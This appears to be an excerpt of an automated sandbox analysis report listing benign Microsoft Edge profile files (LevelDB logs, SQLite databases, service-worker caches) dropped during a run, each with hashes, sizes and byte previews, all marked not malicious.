Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3036000, file counter 1, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.4497107890651818
Encrypted:	false
SSDEEP:	48:TojYdpjKBKBjKOK+jAh+vt4scumU1c00IR5O:0YdlKBKtKOK2ui0u01IR5O
MD5:	D4D2E3F8991D96F0D96F6A5D0AE24906
SHA1:	F572CF35A51A7DDF583A0ACE3056AAFC3E8A0FD4
SHA-256:	E9A45CA5BA45B13079ED9AB20B3FCDAEDC1CE001B161DCA7E682B20AEA1BE94E
SHA-512:	D5AB5E8C29D68395E3BD681BCE17E90046C1D5495C78F5F33F10F68EBD5A309DE60E8AE378F479032D3F0A6434AA3B3066BF0821100B85FE289A7C045520DE66
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................S`.........g.......@...Z..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\README

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	182
Entropy (8bit):	4.2629097520179995
Encrypted:	false
SSDEEP:	3:RGXKRjg0QwVIWRKXECSAV6jDyhjgHGAW+LB2Z4MKLFE1SwhiFAfXQmWyKBPMwRgK:z3frsUpAQQgHGwB26MK8Sw06fXQmWtRT
MD5:	643E00B0186AA80523F8A6BED550A925
SHA1:	EC4056125D6F1A8890FFE01BFFC973C2F6ABD115
SHA-256:	A0C9ABAE18599F0A65FC654AD36251F6330794BEA66B718A09D8B297F3E38E87
SHA-512:	D91A934EAF7D9D669B8AD4452234DE6B23D15237CB4D251F2C78C8339CEE7B4F9BA6B8597E35FE8C81B3D6F64AE707C68FF492903C0EDC3E4BAF2C6B747E247D
Malicious:	false
Preview:	Microsoft Edge settings and storage represent user-selected preferences and information and MUST not be extracted, overwritten or modified except through Microsoft Edge defined APIs.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2283
Entropy (8bit):	5.699576733039609
Encrypted:	false
SSDEEP:	24:F2xc5NmUcncmoxCRORpllg2hEYfIwCRORpllg2hezHp7CRORpllg2hEDCCRORpli:F2emdWrd6YflrdY7rrd6DGrdpW
MD5:	A664CA6C2062C3A315E27500FA81B735
SHA1:	59ED929593D70933E4F0B8B48490EC728C95FBC5
SHA-256:	E6DD3B851678149CC23B6B99931F2D577D20F6DD00787A1E113AD5251F5FCD7D
SHA-512:	FD0A1C959E6670085CBAC20DDB588EA48AFB6844AC02F72511C82C2A1CAB7868E8CF34D48C12A83EAE05E4D204113F5E80EEE9F85A3D39586F528FEB4A0722DE
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2....N................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true&enableWidgetsRegion=true .(.0.8......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h..p.x.................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=t

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	347
Entropy (8bit):	5.171613999468419
Encrypted:	false
SSDEEP:	6:iOnZaQEqJYDhP5c23oH+TcwtE/a252KLl1ZGLq2TYDhP5c23oH+TcwtE/a2ZIFUv:7n8RdPhYeb8xLryvsPhYeb8J2FUv
MD5:	EE8B5C6661C44750C49F889180B1CE31
SHA1:	5286FD9D5ADB966F2DE72636AEEDFE31971D0036
SHA-256:	1FB5CE2F77A3D1C63E742380A0A4F07F00166186EDEA0BE841E1A6BC9526C05B
SHA-512:	8A420AAEC55B814AC4A5DCC1A8E92695832066173D2C9EBAD9F5B417708874254EBD7A6A83932F90D84ACDBE5B81177E58F888EC375A6F667858A3819CFE41EF
Malicious:	false
Preview:	2025/01/11-01:54:33.301 a60 Creating DB C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2025/01/11-01:54:33.385 a60 Reusing MANIFEST C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	115425
Entropy (8bit):	5.578265540944137
Encrypted:	false
SSDEEP:	1536:sU906yxPXfOxr1lhCe1nL/ImL/rBZXJCjPXNtc1Gv0WQyGNDuw:B9LyxPXfOxr1lMe1nL/5L/TXJ6aWxGww
MD5:	DDCB859078387830AAFBE43F8FA99112
SHA1:	1A8B01B4C6B3993BDA5475E41CFF04808AACA6AE
SHA-256:	141D6F9F3EF8CFFE96EBA5C41103A517F89E07E14852EE7ECDCAA8B2D18BD764
SHA-512:	7035EFDAAC9A2E5951D9D831984EBD3A8D8E5689DB905DD5F09DD614BCFDB6BBF9DA9ED2685908C8DDC92BCBCE2D69F49ABEB9A78F69257C20FDBF1E8EAC3031
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	189657
Entropy (8bit):	6.422357706931333
Encrypted:	false
SSDEEP:	3072:JcR8kFfhhOr2u1GC6IBgBFL/C9MCEV3Mjl7DnxNQfBm:JcZpuIcgXL/4EV3Mjlnc0
MD5:	201AF2C738CDA14C553D0F3FC66B84EC
SHA1:	473178336091B1A457EFB07EEE39029744D86255
SHA-256:	27A69E9AC719AF1F48BE8480D93E747436EDCD029A1927DC1E42A264E877C9AE
SHA-512:	26BB6754188679C3B382A8C0A7E8361670EDB4EA8F89A041EF2A30C9C6ED33E520CDAF3C7C89FBC59BC7264E2136C7BC1266511DBF1BBFDA0C5A78394B2C4E33
Malicious:	false
Preview:	0\r..m..........rSG.....0....Pfg......?.Y....n:,.......-..$S.8..`,.....L`.....$S...`......L`......Qc.n....exports...QcR......module....Qc.W'Z....define....QbzC.#....amd....D..H.............".. ...".. ...!...`..2....\".. ...!...-.....!...z..b.....=`...7u............).........".. ...!........./..4.....).......$Rb............I`....Da......... ..f..........`...p...0...j......@........P.......{...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true&enableWidgetsRegion=true.a........D`....D`....D`.....E..%.`............$S.,.`......L`.....$S..`R....DL`.....DRb..............Qb...A....e.....Qb........t.....Qb..#....s.....Qbj......n...c................I`....Da.....b...$S.`.`z.....L`........

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:T9m0XTXl/l7n/lxEkTuM9n:g0XjEL+
MD5:	1DACA1B13AA5AB79ADF2551D3A87B567
SHA1:	651BD98A8215DF3FA5912D9871BBFF1AE152E0F7
SHA-256:	6185413C5B5FBEE668CD4714D435CAE48200F916C6E66A8E007A59559351391B
SHA-512:	92E9E08ECBAFBEB62C5208EF52919228BEAC60D4F9BCB308F0B5DAC07582F96D6C3488F0FB9549AAA0EB2474A98EB6968195FA17AE19010BF67062B6D8F7116D
Malicious:	false
Preview:	@......oy retne.........................X....,.................)..../.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	5642
Entropy (8bit):	3.4012480039262005
Encrypted:	false
SSDEEP:	96:y89JQ81mV9PLFVPfyaG9Xp+N+VibokEMLl9iSrl11b6d4NCX7:yd8oV9PLFVPfo9Xp+NKibDtLl9iSrl+z
MD5:	216B50F06641BFB2BA2A8F401DE8E021
SHA1:	A9882B8C5CC667CF2862F66881A03BC04E49FEDB
SHA-256:	2553C50EE0B0B04BEE39AD821D378952ED0D0BCC11E9361636C3EA2F788FE766
SHA-512:	5DEA1B21283E110F08DB468F7493A123170542BB89E35FCE459389DB7DEE9A436F812E137DD381B715369F5D76326CF0080D2A7CF30FBFB2963F55CF2D7BB35E
Malicious:	false
Preview:	...#................version.1..namespace-..&f...............3..b................next-map-id.1.Cnamespace-cbc32016_3490_484f_aaaa_b9204284676b-https://ntp.msn.com/.0..j..................map-0-shd_sweeper.){.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.f.i.n.-.c.o.m.p.o.f.,.p.r.g.-.f.i.n.-.h.p.o.f.l.i.o.,.p.r.g.-.f.i.n.-.p.o.f.l.i.o.,.p.r.g.-.1.s.w.-.c.c.-.c.a.l.f.e.e.d.i.c.,.a.d.s.-.c.f.v.4.,.1.s.-.p.n.p.f.e.d.l.o.c.c.f.,.p.n.p.w.x.e.x.p.i.r.e.3.6.0.,.b.i.n.g._.v.2._.s.c.o.p.e.,.p.r.g.-.1.s.w.-.s.a.c.f.x.2.t.c.,.p.r.g.-.1.s.w.-.s.a.-.c.a.p.c.o.n.f.3.t.4.,.p.r.g.-.1.s.w.-.s.a.-.s.p.7.-.t.c.c.,.p.r.g.-.1.s.w.-.r.p.d.l.a.u.n.c.h.-.5.,.p.r.g.-.f.i.n.-.c.l.e.f.t.r.a.,.r.o.u.t.e.f.i.n.a.n.c.e.p.r.o.d.,.r.o.u.t.e.r.g.r.a.p.h.p.r.o.d.,.p.r.g.-.a.d.s.p.e.e.k.,.p.r.g.-.1.s.w.-.h.e.a.d.e.r.-.e.v.e.n.t.,.p.r.g.-.p.r.2.-.w.i.d.g.e.t.-.t.a.b.,.f.-.r.e.l.-.a.l.l.,.1.s.-.f.c.r.y.p.t.,.1.s.-.n.t.f.1.-.p.a.c.e.r.s.c.a.l.e.1.,.1.s.-.n.t.f.1.-.p.a.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	333
Entropy (8bit):	5.1575106232725325
Encrypted:	false
SSDEEP:	6:iOnXHBJYDhP5c23oH+TcwtrQM72KLl1dq2TYDhP5c23oH+TcwtrQMxIFUv:7nXIPhYeb/LrdvsPhYebCFUv
MD5:	E07459E68823F31E0955EECD5A5C93E5
SHA1:	67606433090C8D4749078A47FE0DA92B4A1BC3BC
SHA-256:	0E812207569AA1B4DC21BD9B34F71AE6D83D650645F5FDB37C14E71D26469DD7
SHA-512:	A42C467A63E833358054BEE8CEBE9B0C2C9E1C8DF91C415AC25CADA0B20C07B6DD32B56859BFBEA2B10BEBC0B7B3A4B7F551D9C738D7CADC30C2C49340F298DC
Malicious:	false
Preview:	2025/01/11-01:54:27.819 1e80 Creating DB C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage since it was missing..2025/01/11-01:54:27.876 1e80 Reusing MANIFEST C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13381052068843973

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1489
Entropy (8bit):	3.538360749642399
Encrypted:	false
SSDEEP:	24:3i6m9PihYljljlbpsAFc0Lp3k2amEtLqlh4PDe9KhpWl4CQUSkOAdcxldlZ:3i6XIZZbzFzLpVFERucDe9MWlWqORnZ
MD5:	E174D25CF24632650C443B387EAE4A8B
SHA1:	7A97B781E6FB8977CCD941DD6071F93419BBC780
SHA-256:	851053EB5B25F1D1828FF98C3012562F2B015EDC846B25838AF98101B4D8FC7A
SHA-512:	DEA7A61D6EC354799B8112ECD7850D80C8AD3377EFA4EBD806E57A6223EFA0601E544FCEB510A73F861ABFAF9BDB890D7510BE157A35EE2DEAA6F73C35F3CA4A
Malicious:	false
Preview:	SNSS................................"........9.#4.......$...8a8a31c1-9812-4e9d-a3d6-712670677b0a........................................................!.............................................1..,.......$...cbc32016_3490_484f_aaaa_b9204284676b.......................`[{.............................................................................................................................edge://newtab/......N.e.w. .t.a.b...........................................................x...............p...............x...............p.......7..h+..8..h+......................................................................x...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.U.S.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.&.O.C.I.D.=.M.N.H.P._.U.5.3.1.&.f.i.r.s.t.l.a.u.n.c.h.=.1.................................8.......0.......8....................................................................... ...

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3036000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.4418480883730883
Encrypted:	false
SSDEEP:	12:TLiN/cUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLiBVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	444C697E8AF5C7ABF6A576C698CCDAE6
SHA1:	7E6455ED6A534CCBDE446B25CB8A387E40A74BBA
SHA-256:	7401AE966CB49B237B8F07B23585BC3D1961C0F5762A43E2796776F870E09297
SHA-512:	B2E03753CE8D60980984769A7778F8F93B9E2B84B9A7FFD0F04759159F69C98FC1AED0EAECF9CF044B9BE2D3490C61CECE7E618F91B1398BCCA809AE7D9BF32C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................S`.........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	3.473726825238924
Encrypted:	false
SSDEEP:	3:41tt0diERGn:et084G
MD5:	148079685E25097536785F4536AF014B
SHA1:	C5FF5B1B69487A9DD4D244D11BBAFA91708C1A41
SHA-256:	F096BC366A931FBA656BDCD77B24AF15A5F29FC53281A727C79F82C608ECFAB8
SHA-512:	C2556034EA51ABFBC172EB62FF11F5AC45C317F84F39D4B9E3DDBD0190DA6EF7FA03FE63631B97AB806430442974A07F8E81B5F7DC52D9F2FCDC669ADCA8D91F
Malicious:	false
Preview:	.On.!................database_metadata.1

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	361
Entropy (8bit):	5.149183857808905
Encrypted:	false
SSDEEP:	6:iOndE4MJYDhP5c23oH+Tcwt7Uh2gr52KLl1Q4q2TYDhP5c23oH+Tcwt7Uh2ghZIg:7n64rPhYebIhHJLrQ4vsPhYebIhHh2F2
MD5:	C09D5DD0B70E22A628488E321689E813
SHA1:	DA34038875BA783C739753D9245D73B8DE2CAE00
SHA-256:	49D0A44375E838E4233DD6FB3D6AEE438346FECD38BA9E8EEDB28B08F2E88642
SHA-512:	56EE9CB1FB7A9F9F3B420BE8E498265BDD20FE9A13CCFC4FBB4AAAF26CFC428EE63E0907B876FF6AB65E3E43F16AE7CFDBFD11ABB32A49263AA10D1D6D184877
Malicious:	false
Preview:	2025/01/11-01:54:25.547 1464 Creating DB C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database since it was missing..2025/01/11-01:54:25.891 1464 Reusing MANIFEST C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\js\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\js\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.9972243200613975
Encrypted:	false
SSDEEP:	3:8rvzN00Ee5xn:8rrNgIx
MD5:	8406B7FFFC864C0D17394F53008327F6
SHA1:	77A5D8CCE98B5D291910FFD501991255057587C7
SHA-256:	BE2B1D5971A028A207CFB52E7F520DE865822693621EF30BF0D1C2FC089A1FC0
SHA-512:	5C4E3FA920432EC12C2488A51B53319A448B8ED9056370990EDCF96284DA67E535163FBBBF5B81E0E46E35FF77E127E1B5A189ECDC486A753E65EE60567A4B54
Malicious:	false
Preview:	(...a.Voy retne..........................E.../.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\wasm\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\wasm\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	48
Entropy (8bit):	2.9972243200613975
Encrypted:	false
SSDEEP:	3:8rvzN00Ee5xn:8rrNgIx
MD5:	8406B7FFFC864C0D17394F53008327F6
SHA1:	77A5D8CCE98B5D291910FFD501991255057587C7
SHA-256:	BE2B1D5971A028A207CFB52E7F520DE865822693621EF30BF0D1C2FC089A1FC0
SHA-512:	5C4E3FA920432EC12C2488A51B53319A448B8ED9056370990EDCF96284DA67E535163FBBBF5B81E0E46E35FF77E127E1B5A189ECDC486A753E65EE60567A4B54
Malicious:	false
Preview:	(...a.Voy retne..........................E.../.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

